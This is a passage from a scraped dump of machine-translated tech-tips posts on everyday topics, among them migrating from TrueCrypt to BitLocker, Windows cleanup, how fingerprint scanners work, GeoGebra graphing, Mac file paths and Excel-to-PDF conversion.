ncG1vNJzZmismaXArq3KnmWcp51kwamx0Z5ksJmjYsGpsYyfoKurpGLBpr%2FTZq2eqqOevK95zp9krKGcmrxuwMeeZJyxlJ6ubr7EqaOam5Wisq%2FAjJqnqWWdlr%2BssdNmm6ivnqG8orCMmqWdZZWtvaa%2ByJ6lnJ0%3D\n","link":"/post/there-was-the-first-test-version-of-sileo-the-cydia-replacement-app-market-download-and-experience/","section":"post","tags":null,"title":"There was the first test version of Sileo, the Cydia replacement app market, download and experience"},{"body":"Unfortunately for fans of popular encryption software, TrueCrypt on the program's official website has a red text warning that TrueCrypt is no longer safe to continue using.\nThe text is highlighted in red when opening the Sourceforge homepage of TrueCrypt, explaining that due to unresolved security errors, TrueCrypt is no longer a secure encryption software - \" WARNING: Using TrueCrypt is not secure as it may contain unfixed security issuee \".\n  Even if you access the TrueCrypt homepage on Google Chrome using the WOT plugin, the above warning will appear\nJust below this text, the application developer further informed that the home page exists for the sole purpose of helping users transmit TrueCrypt-encoded data to another solution, such as feces. encrypted region or virtual disk image. At the same time, the site claims that TrueCrypt stopped growing in May 2014 after Microsoft officially stopped supporting Windows XP.\nThis statement of TrueCrypt surprised many people.\nAfter more than a decade of development, this free open source encryption tool has been used by many people to protect sensitive files or even encrypt the entire computer partition.\nEven in 2013, when allegations were made that the NSA could decrypt a lot of encrypted information on the Internet, TrueCrypt supporters donated a large sum of money to prove that the software was extremely safe. all. The results of phase 1 of the audit show that there is no evidence of data leakage from TrueCrypt. This may indicate the user's preference for this encryption tool.\nDespite being loved and widely used, but after the statement of TrueCrypt, we encourage users to switch to a new protection measure.\nSpecifically, on the TrueCrypt home page, in addition to information about the level of TrueCrypt security, the developer also gives instructions to transfer encrypted data from TrueCrypt to another Microsoft protection solution, BitLocker .\nYou can follow the following instructions to transfer data:\nIf the user is already using TrueCrypt to encrypt the system partition on the machine, the following instructions can be followed:\nStep 1 : Open Windows Explorer window.\n  Step 2: Right-click on drive C ( or another drive where you installed Windows ) and select Turn on BitLocker . You have successfully transferred that encryption information to the protection of BitLocker .\n  Another way to open BitLocker is to search for this keyword in the Start menu.\n  Step 3 : Finally, decrypt the computer hard drive with TrueCrypt : access the System menu and use the option Permanently Decrypt System Drive.\nOn the other hand, if there is no hard drive encrypted with TrueCrypt on the user's computer, you can follow the instructions below :\nStep 1 : If the user has a hard drive that is large enough to store all of the encrypted data that you want to transfer to BitLocker , you can directly encrypt the drive in BitLocker. You can do this very easily: right-click the drive and select Turn on BitLocker . You need to have administrative rights to use this option.\n  Step 2 : Copy all data from the hard drive encrypted by TrueCrypt to the hard drive encrypted by BitLocker.\nIn case the user does not have an empty hard drive on the user's computer, just decrypt the encrypted TrueCrypt drive . To do this, select the hard drive in the TrueCrypt window, open the Volumes menu and select Permanently Decrypt .\nNext, users only need to re-encrypt the drive with BitLocker .\nTo install a drive encrypted by BitLocker , users only need to open the partition in Windows Explorer .\nTo uninstall a removable drive encrypted by BitLocker , right-click on the drive or click the Safely Remove icon on the toolbar and select Eject .\n  To uninstall a fixed drive protected by BitLocker , you can use the Offline option in the right-click menu of the drive in the Disk Management window .\n  \nTo reinstall the disk, use the Online option.\nIf the user has a folder containing files protected by TrueCrypt, follow the instructions below:\nStep 1: Open the Computer Management window by right-clicking on the Computer or PC icon and selecting Manage .\n  \nStep 2 : Select the Disk Management icon.\n  \nAnother way is to search in Search Charm with the keyword \" disk \".\n  \nStep 3: Open the Action menu in the Disk Management window and select Create VHD to create a new virtual drive file.\n  \nStep 4 : Create and attach a new virtual disk file.\n  \nStep 5: Start the new virtual drive: Right-click the new drive icon and select Initialize Disk .\n  \nStep 6 : Create a partition on the virtual drive: Right-click the unused volume on the virtual drive and select New Simple Volume .\n  \nStep 7 : Encrypt the new virtual drive with BitLocker : Right-click the virtual drive in Windows Explorer and select Turn on BitLocker .\n  \nStep 8 : Copy all data folder containing TrueCrypt file that has been installed to the newly created virtual drive.\nTo uninstall the drive, right-click the drive and select Eject .\n  \nTo reinstall the drive again, double click on the virtual drive file ( requires a Windows 8 or later computer ).\n  \nAlternatively, you can access Disk Management =\u0026gt; Action =\u0026gt; Attach VHD .\n  \nHow to fix if you don't see the BitLocker icon in the right-click menu:\nMethod 1 : Search for BitLocker or encryption in the Start menu.\n  Method 2: Access System Control Panel =\u0026gt; Get more features with a new edition of Windows . This operation will not require users to reinstall Windows.\n  Alternatively, you can search for this option using the keyword Edition .\n  Thuy Van\nncG1vNJzZmismaXArq3KnmWcp51kwbPBxJypsqikYrKvr86uqZqflah6tr%2FEq6pmrJ9iwaK3xGamraCVp3qssdhmpJ6Zo6q%2Fpr8%3D\n","link":"/post/truecrypt-encourages-users-to-take-other-key-measures/","section":"post","tags":null,"title":"TrueCrypt encourages users to take other key measures"},{"body":"Despite many improvements and upgrades, it seems that Windows 10's cleaning and optimizing system functions are still missing from Microsoft, as evidenced by the cleaning and optimization options scattered. focus on a fixed area, so users often difficult to identify and use when needed.\n Knowing this, the software to clean junk for Windows continues to \"make a profit\" after many versions of Windows were released. However, this method is extremely dangerous because it has many potential risks. Because they are software, they will work automatically, and no one is sure that they will not accidentally delete some important system files or other data on the computer.\nTherefore, manually \"garbage\" Windows manually is not a wise choice. This way, you may not be able to clean Windows, but it will partly reduce the amount of \"garbage\" generated by a long time and contribute to help Windows work faster and more stable.\n1. Delete the temp data in the Temp folder\n\"Temp\" is a directory containing some temporary data. For example, when you install a software from * .msi file, the internal data may be extracted into Temp folder. In addition, when browsing the web, if you have the option to open only the view for a file to download, the file will be downloaded by default. But maybe after the use is complete, the data has not been deleted, causing disk space usage. Therefore, if you want to delete all \"junk\" data in Temp, you can do as follows:\n Enter the command \"temp\" in the RUN dialog box and click OK.\n File Explorer opens, accompanied by an access confirmation dialog. Click Continue.\n Windows will list all the junk data related to the keyword you enter. Done, press the keyboard shortcut Ctrl + A to select all and press Delete to delete them is finished.\nThere may be some files that cannot be deleted, you should ignore them.\n2. Empty the Recycle Bin\nThe Recycle Bin is not a directory or a file. We will briefly mention the Recycle Bin function, simply when you delete one or more files or items, the system will \"move\" them to the Recycle Bin.\n This is a \"special\" place to \"help\" store deleted data until you delete them permanently or restore them when necessary. However, you will probably \"forget\" the existence of Recycle Bin on the desktop and maybe it is \"containing\" GB of old data in it.\n3. Delete unused applications and software\nSoftware and applications are no longer used, but if not removed, they still exist services and files that run in the background. And if unfortunately this data conflicts with the data or files of other software and applications, then they become a \"burden\" for the system. Therefore, it is advisable to uninstall applications that are no longer in use.\n Right-click the Start button and select Apps and Features.\n A list of applications and software installed on the computer will appear. Find the application, the software you are not using and uninstall it (Uninstall) is finished.\n4. Use the Disk Cleanup tool\nDisk Cleanup is one of the \"maintenance\" tools built into Windows over a long period of time. This tool allows users to free up more space on the computer by \"cleaning\" temporary files and system files that are no longer in use but take up quite a large amount of space. installation files and previous Windows version updates.\n Enter the keyword \"Disk Cleanup\" into Search and click the result as shown.\n After selecting the scan partition, Disk Cleanup will display the cleaning options for you to choose.\n The cleaning process is quite fast and safe so you can safely use it.\n5. Defragmenting hard drive partitions\nAfter completing the above cleaning steps, the last thing you need to do is to defragment the hard drive partitions. And Disk Defragmenter will help you.\nBy default, Defragment and Optimize Drives are set to work automatically every 1am every Wednesday morning. Of course, you also do not need to let the computer run all night because in case the computer does not work, the utility will automatically transfer the disk defragmentation to the time the computer is idle (next time).\n Enter the keyword \"Optimize Drives\" into Search and click on the result as shown.\n Click on the system partition (usually \"C\") and click Optimize.\nPretty simple, right? Hope the article will be useful for you.\nncG1vNJzZmismaXArq3KnmWcp51ktaK6w5%2Bpnp1dqbxur8uemKdlpaV6uLXNnaawq11mfW7DyK2fqK2kYsGpsYynnJ6cXZu8s3nToaCrnKCWv7XFjKymn6ynlr%2Bm\n","link":"/post/hand-free-to-clean-up-windows-10-without-the-need-for-third-party-software/","section":"post","tags":null,"title":"'Hand-free' to clean up Windows 10 without the need for third-party software"},{"body":"Today, TipsMake.com would like to guide you how to create a Line account on the phone, a free call and texting application with friendly, good-looking interface and funny cartoon character images. This application is also integrated with Timeline feature, allowing updating new information from friends and saving comments and Video Call feature will help users make video calls, very suitable for communication, group meeting.\nDownload Line for Android Download Line for iOS Download Line for Windows Phone Method 1: Use the phone number Step 1 : Enter the phone number used to register the Line account and then click Verify Phone Number\n  Step 2 : At that time, the application will send the phone number to which you registered the verification code. Please enter this code below and click Next\n  So you have successfully registered a Line account with your phone number.\nMethod 2: Use your Facebook account Step 1 : From the registration interface, click Login with Facebook\n  Step 2 : A confirmation message will appear, click OK to agree\n  Step 3 : When the phone screen appears as below, you have successfully registered with your Facebook account\n  How to create a Zalo account on your phone? Instructions to delete Zalo account on the phone Instructions for calling Video Call with Viber on the phone Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kf26%2FyKanpZ1drK66v4ytpmabopqutbGMmmSloZ6aeqKvwqisp6xdpLtuxc6uqWaomKS7pg%3D%3D\n","link":"/post/2-simple-ways-to-create-a-line-account-on-your-phone/","section":"post","tags":null,"title":"2 simple ways to create a Line account on your phone"},{"body":"July 20 will mark the 50th anniversary since the first time humans landed on the Moon.To celebrate the great event, Apollo astronauts are traveling around the Earth, meeting to review memories related to the great moment of mankind.\n Charlie Duke, an astronaut of Apollo 16 standing at the Decartes landing site at the edge of the Plum pit on April 21, 1972.\nAt a meeting with these astronauts at the Cradle of Aviation museum in New York, Charlie Duke, who controlled the Moon Landing module during the Apollo 16 mission, told Business Insider about his experience following him. considered the scariest of his life.\n' It was 1972, and in Munich we were hosting the Olympics, so we launched the' Moon Olympics ',' said Duke, who at the time was 36, the youngest person ever to step up. Moon.\nBut he hasn't really mastered the main steps in that bulky suit.This led to an accidental fall that was able to tear apart the only barrier between him and the infinite space of the Universe - which could have killed Duke.\nDuke's deadly high jump\nAt the Cradle of Aviation Museum - which showcases moon landing modules - the astronauts answered a number of questions, including the president's project to send people back to the Moon in 2024. Donald Trump, and what the next 'Apollo moment' will be.\n Charlie Duke, one of the astronauts who walked on the Moon during the Apollo 16 mission, stood next to a suit at the Cradle of Aviation museum.\nWhen asked about some lesser known stories, Duke spoke of a detail recorded in his 1990 book, 'Moonwalker'. Duke said that he and commander John Young decided to use the last minute on the surface of the Moon to defeat some of the achievements set on Earth by the athletes. This is entirely possible, because the Moon's gravity is only one sixth of the Earth's.\n' We have started to jump high, ' he said.\nAlthough they were just playing with each other, he could reach a height of 1.2 meters - an impressive distance, especially when Duke was wearing a bulky clothes.But when he stretched out into the air, everything went wrong.\nThe Apollo astronauts' clothes weigh more than 136kg on Earth, but in the Moon environment, the suit is only approximately 22kg.Even so, more than half the weight of the suit is in the backpack on the back, the set makes the wearer lose balance.\n' The briefcase weighed nearly as much as my body, so I lost momentum ,' Duke said. ' The backpack made of fiberglass, contains all the life support equipment for me. If it fails, I'll die . '\nDuke tried to tilt to the right to prevent the 'landing' but still fell on the backpack - also known as PLSS, a type of nursing equipment.\nIf he chipped the device or tore the clothes, it would create an 'air-leak' phenomenon, or the loss of oxygen to breathe.This may render Duke unconscious and may kill him before Young can pull him back to the module, close the valve and balance the air in the ship.\n' My heart was beating wildly nonstop. John Young, my commander, came and said, 'It was an unwise decision, Charlie.' I just said, 'Pull me up, John ,' he said.\nAs soon as he was able to stand up, Duke heard the sound of the PLSS device so he could decide if he had a problem.\n'The pump is still running normally. I said 'I think everything is fine '. I had another lesson: Never do anything in the air if you haven't practiced it thoroughly. And we have never practiced high jump ever , 'Mr. Duke said.\nA TV camera captured the scary moment of Duke, but was blocked by a piece of equipment.\nMoon Olympics - Astronauts jump high on the Moon.\nStumble on the moon\nThis is also not the only time Duke fell on the Moon.While poking the identification device through the ground, he fell forward, and fell after trying to pick up a clip (which he used to pick up a hammer that had dropped a while ago).\nSeveral other astronauts have the same problem - humans have never been operated in low gravity, causing the body and objects to function abnormally.\nNot only that, even after months of hard training, Apollo astronauts often struggled with heavy, rigid and difficult-to-use clothes.Having to operate it is like wearing an inflated balloon.Bending to pick up an item in the gloves is almost impossible, so the astronauts have to rely on the tools available.To sit down, they need to jump up, and use the force of the ground to compress this full-bodied outfit.\nThe video below is a compilation of astronauts' falls on the Moon.That's funny, but also full of dangers.\nAstronauts stumble on the Moon\nFor future missions to the Moon and Mars, NASA and aerospace companies are designing lighter, more balanced, and easier suits for simple actions.\nWith these improvements, astronauts will no longer have to put them in a dangerous position when they fall down on missions of NASA or SpaceX.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2Bv0Z6bopqcmnqmxM%2BeqaKdnpiybq3PqKOlp12WwLW%2BzqeYrqxdlrmuu9KtZJ2hlZl6tb7YoqWgZaSkeqvBzKlkoaGXnXqwuoytn55lnaS8rw%3D%3D\n","link":"/post/apollo-astronaut-almost-died-trying-to-jump-high-on-the-moon/","section":"post","tags":null,"title":"Apollo astronaut almost died trying to jump high on the Moon"},{"body":"Have you ever encountered a computer without a CD drive or a drive that has been corrupted and you want to reinstall the computer from a Ghost set available on your computer? The absence of a CD drive to run the Boot disk makes you have to live with your virus-infected device without finding a solution. This article will guide you to create a USB drive Hiren's Boot for convenience when needed.\nYou can refer to some articles about installing Windows from USB that TipsMake.com introduced:\nInstall Windows XP from USB\u0026nbsp; Install Windows Vista from USB\u0026nbsp; Install Windows 7 from USB 1. Follow these steps to create Hiren's Boot USB drive: Step 1: Prepare a USB drive with a capacity of 256MB or larger\nStep 2: Download and run the USB Disk Storage Format program here . This is a powerful USB format tool and because Windows' available format function is too flawed.\nHP USB Disk Storage Format Tool allows you to do the above with an interface similar to the Windows format window, only things will have more options.\nAfter downloading and installing on the device, run the program and set the parameters as follows ( Device section may differ depending on your USB)\n  Step 3: Download and run the grub4dos.zip program and then set the parameters one after the other\n  Step 4: Copy the grldr and menu.lst files to the USB drive.\nStep 5: Insert Hiren's BootCD into the CD drive and copy the entire contents of the disc to the USB drive. If you do not have another machine to create a USB drive, you can download the file Hiren's BooCD from the internet and extract the .iso file to the USB drive.\nDownload HirenBoot CD ISO file of the latest version here!\nNote : Creating this boot USB drive only works for Hiren's Boot version 9.7 and above .\nAfter perfecting everything, your USB drive must have all the following components:\n  Use this USB drive on a computer that needs Ghost and note that the computer must be booted from the USB drive.Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZqCZp7Kvv4ybpqisk5l6p77OpmSuq5JisbO11Z4%3D\n","link":"/post/create-hiren-s-bootcd-from-usb-drive/","section":"post","tags":null,"title":"Create Hiren's BootCD from USB drive"},{"body":"Images of naughty bunnies, having fun together, or moments of grazing, ... will definitely make you watch forever. So if you have the same hobby of collecting beautiful wallpapers, do not ignore the rabbit pictures that Network Administrator shares right after.\nRabbits are one of the cutest animals in the animal kingdom. The normal rabbits are very cute with soft fur and big eyes, but you will find them even cuter if you look at all the pictures in the baby rabbit image collection below.\nImages of naughty bunnies, having fun together, or moments of grazing, . will definitely make you watch forever. So if you have the same hobby of collecting beautiful wallpapers, do not ignore the rabbit pictures that Network Administrator shares right after.\nCollection of the most beautiful and adorable baby bunny images   For those of you who love bunny, the beautiful images above will not disappoint you, right? Do not hesitate anymore without downloading the rabbit wallpaper for your computer so that you can watch them every day on the Desktop screen. Hope you have moments of relaxation and immerse yourself in the funny world of lovely bunny rabbits. You can also download the best collection of baby rabbit pictures by clicking on this link\u0026nbsp;.\nWish you can choose a beautiful image!\nbeautiful wallpaper computer wallpaper ncG1vNJzZmismaXArq3KnmWcp51ksLbAxGaarqyVYq%2B2us2yZLCZnKG9orzEqw%3D%3D\n","link":"/post/cute-cute-bunny-wallpaper/","section":"post","tags":null,"title":"Cute, cute bunny wallpaper"},{"body":"Fingerprint scanning technology is not something new, it has been decades since the first fingerprint reader was born, and the technology has changed a lot.But fingerprint security has only really become explosive and is widely known when used on mobile devices such as smartphones and laptops.Fingerprint scanning technology today is no longer a \"toy\" exclusively for expensive flagship smartphones, but has even appeared on cheap products and gradually becomes a security technology. Additional hardware is indispensable.\nAlthough daily contact with these types of devices, but certainly many of us still do not understand the principles of fingerprint scanning technology as well as the differences between different types of fingerprint scanning techniques.This article will help you better understand this advanced security technology.\nFingerprint security What is fingerprint scanning technology? How does fingerprint technology work? Optical fingerprint scanner Capacitive fingerprint scanner Ultrasonic fingerprint scanner  Advantages and disadvantages of fingerprint security Advantages Defect  What is fingerprint scanning technology?   \nFingerprint scanning is a security technology that uses one's fingerprint to identify that person's identity.As we all know each person will have their own fingerprint structures, or in other words our fingerprints are completely different.This is often called biometric fingerprint.Biometrics is a study of how people are different based on biological factors, such as how each person's fingerprints differ.Even identical twins do not share the same set of fingerprints.A person's fingerprint is like an identification card, and this is also the core foundation for creating fingerprint security technology.This technology is used not only in security systems, but also in the field of forensic science research and crime.It can even be found on home utilities, such as some of the laptops and smartphones we still use, or fingerprint scanning systems at work .\nHow does fingerprint technology work? Based on the principle of operation, we can divide the fingerprint sensor into three main categories, and their working principle will be discussed here.\nOptical fingerprint scanner Optical fingerprint scanning method captures and compares oldest fingerprints up to the present time.As the name suggests, this technique is based on fingerprint optical imaging for identification.Basically, the device will use algorithms to process the images, analyze the lightest and darkest areas of the image, thereby detecting differences in the structure of the fingerprints and comparing them. with other data obtained.\n  Just like a smartphone camera, these sensors can have a certain resolution and the higher the resolution, the better the image will be, through which the sensor can distinguish fingers. Your faster and more accurate, help improve security.However, these sensors will capture images that are much higher in contrast than conventional cameras, and fingerprint scanners will often have extremely high numbers of diodes per inch to capture these details at close range.Of course, the light from the outside environment will be obscured when your fingers are placed on the scanner, so the optical scanner is also integrated with LED ranges, used as a flash to provide light. for sensors.However, it can be seen that such a design is too cumbersome for a phone or laptop - devices that promote absolute mobility.So people have created amuch more compacttype of fingerprint scanner!\n  Capacitive fingerprint scanner Capacitive fingerprint scanner is one of the most popular fingerprint reader technologies today.You will find these scanners in the flagship of different production lines, including Galaxy S9, HTC U12, LG G6 and other products.Once again, by name, we can also visualize the core components of this sensor, such as familiar electronic devices and capacitors.\n  Instead of creating a copy of the image of the fingerprint template, the device uses small capacitor circuit boards to store the sample, fully remembering all fingerprint details.Because capacitors can store electrical charge, connecting them to conductive plates on the scanner's surface allows us to be able to use capacitors to keep track of fingerprint details.The electric charge stored in the capacitor will be changed slightly when the edge of the finger is placed on the conductive plate, while the air gap between the grooves on the fingerprint will help the charge at the capacitor close to as unchanged.An op-amp integrated circuit will be used to track these changes, which can then be recorded with an analog to digital converter.\n  The advantage of this fingerprint scanning method lies in the processing speed and the ability to identify many of the fingerprint properties, thereby ensuring high security.The analysis of the lines and grooves on the fingerprint structure will become more detailed.In addition, due to complex structure, capacitive fingerprint scanner will cost more than the above optical type.The more capacitors, the higher the fingerprint recognition point will be, the more expensive the price will be, but the processing speed will be a bit slower because the sensor will have to scan more parameters.This requires manufacturers to simplify the device but still ensure security.\nUltrasonic fingerprint scanner Ultrasonic fingerprint scanner is the latest and most modern technology in fingerprint identification on smartphones in particular and high-end electronic devices in general.Ultrasonic fingerprint scanner was first announced on the Le Max Pro smartphone, using Qualcomm's Sense ID technology.\n  To really capture the details of a device fingerprint will use the transmitter and receiver for ultrasound.An ultrasound pulse is transmitted to the fingertip when it is placed on the scanner.By reflecting the reflected wave, the system can identify unique characteristics on each individual fingerprint.\nThanks to the smart sensor, the 3D version of the fingerprint structure will be faithfully reproduced with very detailed depth and depth.This is like an upgrade of capacitive sensors to increase device security.\nAdvantages and disadvantages of fingerprint security While fingerprint scanners are built on the same hardware platform, they can make a difference, while creating outstanding features for users.However, fingerprint scanning does not always bring benefits.\nAdvantages Some related advantages of fingerprint security technology are quite obvious.For example, thieves can steal passwords, PINs or locks, but they won't be able to fake your fingerprints.With fingerprint security, you won't have to worry about your fingerprint being detected as if it were a password, you won't have to worry about your fingerprints as you might forget your password.All of these factors not only help fingerprint security provide a high level of security, but also allow you to have more control over your devices and assets.Example: The software comes with most fingerprint scanning devices that allow you to give someone access to an area of ​​a building as well as control the time they enter and exit the area.This feature also applies to many current workplaces, allowing timekeeping or time control to become much more efficient.\nDefect There are several disadvantages when using fingerprint scanning technology.The first is the cost, equipped with fingerprints on the technology equipment or for larger scales like businesses and organizations, of course will also entail certain costs incurred.However, technological advances are helping to reduce the cost of this type of security, such as the fact that you can see capacitive fingerprint security appearing on many cheap smartphones today.\nEvery other drawback of fingerprint security is the reliability and stability.Some low-quality devices will usually not recognize it if the user's finger sweats or becomes dirty.So if you want to use devices with fingerprint scanner integration, it is a good idea to choose a relatively small type, otherwise it's best not to use conventional security types alone.\nAbove are the basic information about fingerprint scanning technology and fingerprint security, hope you have gained the necessary knowledge about this kind of convenient security!\nSee more:\nInstructions on how to login to your computer when you forget your password Hack SIM: Things to know and how to avoid Learn about terminal security (endpoint security) The leading site to learn hacking skills ncG1vNJzZmismaXArq3KnmWcp51ks6q6w2amrqxdnby4ecWipaCdoqW%2FqrrTZqqem6WntrXFjK2cnKCepLmws9hmrqiqm6g%3D\n","link":"/post/find-out-how-fingerprint-security-technology-works/","section":"post","tags":null,"title":"Find out how fingerprint security technology works"},{"body":"Normally you usually graph the function by hand. It is very simple with Geogebra that helps you draw function graphs and export function graphs that have drawn many different formats so that you can conveniently insert textbooks and textbooks. The following article is a detailed guide on how to draw graph geometry with Geogebra software.\nIf you do not have Geogebra installed, you can download the software here: https://www.geogebra.org/download\nAfter successful software installation, follow these steps to graph the function:\nStep 1: In the input drawer, enter the expression for the function to draw. For example, here graph the third order function. Immediately the workspace has plotted the value of the function just entered:\n  Step 2: Determine the extreme point of the function graph:\nAt the command input prompt, type command CucTri (f) -\u0026gt; the system will automatically enter the names of 2 points on the graph with the same coordinates:\n  Step 3: Determine the intersection point of the extreme points with the coordinate axes:\nClick to select the symbol of 2 intersecting lines -\u0026gt; select Perpendicular line:\n  Step 4: Select the points and lines that need to be drawn perpendicular to the extremities, for example, select point A and the vertical axis to create a line passing through A and perpendicular to the vertical axis -\u0026gt; similar to the lines Other perpendicular results:\n  Step 5: Get the intersection of the lines perpendicular to the axes:\nClick the icon of point A -\u0026gt; select Intersection of 2 objects:\n  Step 6: Select two objects that need to determine the intersection point, the two objects here are the perpendicular lines passing the extreme point and the coordinate axes -\u0026gt; the results have determined the intersection points:\n  Step 7: Select the perpendicular lines -\u0026gt; right click and select Show objects to hide perpendicular lines:\n  The results created the graph and the intersection of the graph:\n  Step 8: Create dotted lines from the extreme to the intersections to determine the extreme coordinates:\nClick the line icon -\u0026gt; select Line segment:\n  Step 9: Move to the right of the interface to select the type of the line you want to draw, here select the dashed line: (if no line style appears, click the icon    Step 10: Select 2 points to create a segment, for example, to determine the pitch of point A, choose point A and point D, similar to the rest points -\u0026gt; get the result:\n  Step 11: Determine the inflection point of the function graph:\nAt the command prompt, type keyword -\u0026gt; there appears a command to define inflection point:\n  The system results show the coordinates and the inflection point name on the graph:\n  When graphing the function, you need to define at least 5 points, but the function graph has 2 points on the horizontal axis, so you don't need to define new points.\nStep 12: Edit the function graph before exporting to another format:\nClick on the function graph expression in the command input pane -\u0026gt; change the font size….\n  Step 13: Display the values ​​on the axis-\u0026gt; right-click and select Working Area -\u0026gt; In the Horizontal axis tab , the Vertical Axis select Show numbers:\n  The results have been plotted on the function of the order of 3:\n  Step 14: Publish the drawn graph to another format:\nClick the arrow icon -\u0026gt; redefine the function graph position -\u0026gt; go to the settings icon -\u0026gt; Profile -\u0026gt; Publish -\u0026gt; select the format to export, for example here choose format PDF file:\n  Step 15: A dialog box appears, enter a name for the export file or you can leave the system default name -\u0026gt; click Publish:\n  So you've drawn the function graph of the third order with other function graphs you do the same. Also with Geogebra you can draw other objects in geometry. Above is a detailed guide on how to draw graph geometry with Geogebra software. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddnL%2BivMeipaBll5q8rrHTq6Ceq12qwKq6xmaenqeXmq%2BzrYyspp%2Bsp5a%2Fpg%3D%3D\n","link":"/post/guide-to-graphing-geometries-using-geogebra-software/","section":"post","tags":null,"title":"Guide to graphing geometries using Geogebra software"},{"body":"Copying a file or folder on your Mac is extremely simple. You just select a file and press the shortcut key combination MacOS press Command + C . However, how to find the exact path of that file or directory is 'much more difficult'.\nOn macOS, however, there are three methods that you can use to display a specific file or folder path. Let's find out right now.\nView file paths using Terminal on Mac When using Terminal, there are a lot of commands that require you to enter the full path of the file. Hence, the Terminal tool itself is also capable of showing you the full path of any file located on the system. Here's how to do it.\n  First, launch Terminal using Spotlight, search for it in Launchpad, or browse to the ' Applications -\u0026gt; Utilities ' folder .\nWhen Terminal opens, you will be greeted with a command prompt. In common situations, you'll be working on the command line with text. But in this case, you can drag and drop your file into Terminal, and the full path of that episode will be displayed in detail on the screen.\n  Use the 'Go to Folder' option If you want to show the file path directly from the Finder window instead of having to go to the Terminal, you can use the 'Go to Folder' option.\nTo get started, open the Finder window any way you want, then navigate to the toolbar at the top and click on the ' Go ' tab . In the menu that appears, scroll to the bottom and click on the ' Go to Folder ' option.\n  Immediately a dialog box will appear on the screen, drag and drop your file into the path field. The full path of the file will be displayed here.\n  Use the Automator application Automator is quite a useful application. It allows you to add many handy features, not available by default, to your Mac. In this case, you can use Automator to display the file path on the Mac.\nFirst, you will find the Automator application in the Applications . folder .\n  Once opened, Automator will ask for the location where you want to create a new service. You can choose any location you want on the system, but for this example we'll use the default directory.\nNext, you will be asked what kind of document you want to create. Select ' Quick Action ', then click ' Choose ' to confirm.\n  From the next screen, you will need to put two options at the top of the Automator window. The final setting will say ' Workflow receives current files or folders in Finder '.\n  When done, use the Actions search field on the left side of the screen to find the ' Copy to Clipboard ' option. Once you have found it, drag it over to the Workflow panel.\n  At this point, your service is ready. After saving and naming the new service, return to the Finder.\nFrom here, right-click on the file you want to show the path to, then select Services and click on your service's name. You will also notice it in the Quick Action submenu .\n  The full path of the file you selected will be copied to the clipboard. Now you can paste it as text wherever you need to see the specific path of that file.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mZqFdqLWww4yfoKWdXaWutbTSZqanZZ2WsA%3D%3D\n","link":"/post/how-do-i-show-file-paths-on-mac/","section":"post","tags":null,"title":"How do I show file paths on Mac?"},{"body":"PDF files are widely used simply because on computers or smart mobile devices now support reading PDF format. In addition, the PDF file will retain the format when opened in different devices, people will not be able to edit the calculation formula on the same spreadsheet as the Excel file so it preserves the data better.\nYou want to convert Excel to PDF for your convenience, but you do not know how to convert Excel to PDF? Please refer to this article to know how to convert Excel files to PDF quickly, keeping the right format.\n  Here are two ways to convert Excel files to PDF quickly that you can refer to convert.\nMethod 1: Save the Excel file as a PDF file using Microsoft Excel Step 1: Open the Excel file you want to convert to PDF, on the interface you select File.\n Step 2 : Select Save As.\nWith Excel 2013 and Excel 2016 you have to choose a location and folder containing the file after saving. If saved on your computer, select Computer -\u0026gt; Browse to open the Save as dialog box .\n Step 3 : In the Save As dialog box :\nSelect the folder to save the file. Enter a name for the file in the File name section . In the Save as type section, select PDF (* .pdf)   Step 4: Appear some custom you:\nSelect the Open file after publishing checkbox (1) if you want to open the file in PDF format right after saving. Select Standard (publishing online and printing) ( 2) if the document requires high print quality. Select Minimum size (publishing online) (3) if file size is more important than print quality. Select Options (4) to set some other customizations for the file. Click Save (5) to save the Excel file as a PDF file.\n  Method 2: Convert Excel files to PDF online https://smallpdf.com/en/excel-to-pdf Step 1: You access the website https://smallpdf.com/en/excel-to-pdf on the interface you have 4 ways to choose the Excel file to transfer:\nDrag and drop Excel files directly to the green area. Select Choose file and navigate to the folder containing the file and select the Excel file to be transferred. Select FROM DROPBOX to select the file saved on the dropbox. Select FROM GOOGLE DRIVE to select a file saved on google drive.   Step 2 : After selecting the file, Smallpdf will upload the file and automatically convert it to PDF, when there is a notice of success, click Download file now.\n  The Save As dialog box appears, select the folder to save the file and click Save to save the PDF file to your computer.\n  Open the converted PDF file, you see the data is still in the same format as the Excel file\n  So you know how to convert Excel files to PDF quickly, keep the same format as on Excel spreadsheets. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmnLGblaF6tbuMqZufZZOku7ex0a1knrCTmrlussilnKxlpKR6sbDFZqiuoZOgubp5yp6cqWWknbJuvsign61llqS%2Frq3T\n","link":"/post/how-to-convert-excel-to-pdf-convert-excel-files-to-pdf-quickly-keep-the-right-format/","section":"post","tags":null,"title":"How to convert Excel to PDF, convert Excel files to PDF quickly, keep the right format"},{"body":"After starting Windows and you notice that the Volume icon on Taskbar suddenly does not fly, it is unclear why. This happens quite often, especially with Windows 10 errors appearing more often.\nIf you do not know how to fix it because you do not know the cause, you can track the error correction Volume icon disappear on the Taskbar of the Network Administrator to be able to remedy this situation.\n  4 steps to troubleshoot audio loss in Windows 7 ways to do, customize in post will help your Windows 10 \"as fast as wind\" 1. Check if the Volume icon is hidden? Step 1: Click on the small arrow icon located on the Taskbar to see all hidden icons.\n  Step 2: If the Volume icon appears here, simply drag and drop the icon to the Taskbar.\n  2. Restart File Explorer Step 1: Open Task Manager by right-clicking any space on the Taskbar, then clicking Task Manager.\nStep 2: On the Task Manager window, click More details to open the details window.\nStep 3: On the Process tab, find the item named Windows Explorer , then right-click it and select Restart to restart File Explorer.\n  In some cases, restarting File Explorer can also fix the error, and will refresh the icons on the Taskbar.\nAnd if you don't see Windows Explorer on the Processes tab, open This PC or Quick Access to see Windows Explorer on Task Manager.\nFinally check if the Volume icon is displayed in the Taskbar.\n3. Check if the Volume icon is disabled on Group Policy Note: This method only applies to Windows 10 Pro or Enterprise versions\nStep 1: Enter Gpedit.msc in Search box on Start Menu or Search box on Taskbar, then press Enter. If the User Account Control dialog box appears, click Yes to open the Local Group Policy Editor window.\nStep 2: In the Local Group Policy Editor window, navigate to the key:\nUser Configuration =\u0026gt; Administrative Templates =\u0026gt; Start menu and Taskbar\nStep 3: In the right pane, find the policy named Remove the volume control icon , then 